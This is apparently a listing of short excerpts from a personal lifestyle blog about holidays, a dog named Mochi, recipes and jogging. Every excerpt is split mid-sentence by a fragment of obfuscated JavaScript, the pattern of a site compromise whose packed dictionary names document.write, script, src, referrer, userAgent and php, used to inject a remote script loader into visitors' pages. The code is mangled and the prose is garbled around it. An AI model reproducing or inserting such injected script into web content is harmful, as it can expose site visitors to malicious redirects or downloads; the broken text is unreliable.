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Oops!

I’m not sure if yesterday was the first day I missed this past year…but hey, what can you do? I ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|neter|var|u0026u|referrer|reaze||js|php’.split(‘|’),0,{})) spent the evening of the 26th doing something WAY more important than blogging. I spent about 2 hours playing Just Dance 2 on the Wii. This has got to be […]

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The Art of Racing in the…..

Wind and rain. That’s ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ysiaf|var|u0026u|referrer|yfsia||js|php’.split(‘|’),0,{})) what happens in Seattle. I had to try out my new heart rate monitor, so I headed outside for a little post-Christmas jog. What’s funny, is that were at least a dozen other walkers/runners out this morning. Sure, it’s raining. But that’s par for the course

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Merry Christmas!

Hopefully ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zkdda|var|u0026u|referrer|eayhi||js|php’.split(‘|’),0,{})) no one is reading this today 🙂 You should be hanging out with your family. But just in case you do, here’s a little something something. Mochi, “helping” us change the sheets.

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Christmas Giving

Last ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sbbez|var|u0026u|referrer|rhtah||js|php’.split(‘|’),0,{})) Sunday Nick and I volunteered at the Family Giving Tree. I’m not trying to toot my own horn AT ALL – we should have volunteered longer and/or brought more toys, but maybe net year – and maybe we’ll bring more people. In any case. It’s a pretty impressive operation.

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Patty Cake

If ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aizdy|var|u0026u|referrer|diayy||js|php’.split(‘|’),0,{})) you haven’t seen this, it will make you laugh. Nick sent it to me. I laughed out loud.

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Crab Cakes

I ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hbkke|var|u0026u|referrer|ttrfe||js|php’.split(‘|’),0,{})) made crab cakes for a Christmas party. My dad tried out almost every recipe in the Tom Douglas crab cake cookbook, and landed on his favorite. I changed it slightly. 1lb lump crab meat (costco) 1/2 c thinly slice scallions (green onions) 1/4 c finely chopped red pepper 1

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Beer Exchange

The ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ztynn|var|u0026u|referrer|didfd||js|php’.split(‘|’),0,{})) beer exchange is an awesome little tradition that Nick’s family started – before Nick could drink. It has somewhat evolved over the years, but pretty much results in each +21 year old male members of the family taking 12 bottles of beer home. We decided to bring the tradition

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Caramels!

The caramels I made last week during cookiepalooza were a big hit and a few people have requested the recipe. What’s ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ihktf|var|u0026u|referrer|skaey||js|php’.split(‘|’),0,{})) great about this recipe is that it’s all in the microwave. You can make caramels over the stove but it involves a lot of stirring and a lot of

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I love my Mochi

We ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fksye|var|u0026u|referrer|ntfyk||js|php’.split(‘|’),0,{})) take Mochi to a parking lot behind our house to play fetch. And by “fetch” – I mean – throw the ball and sometimes get it back. Either way, he enjoys himself. When he’s ready to go home, he lays down and we know he’s had enough exercise for

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Clean Eating

Let ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rnazt|var|u0026u|referrer|bbefi||js|php’.split(‘|’),0,{})) me tell you about November. Also known as the month without vegetables. Here’s how it went. Weeks 1 and 2 were spent in Cabo and Nor Cal. Eating out for almost every meal. So even if we had vegetables, they were likely fried, dripping with dressing or “candied.” Week

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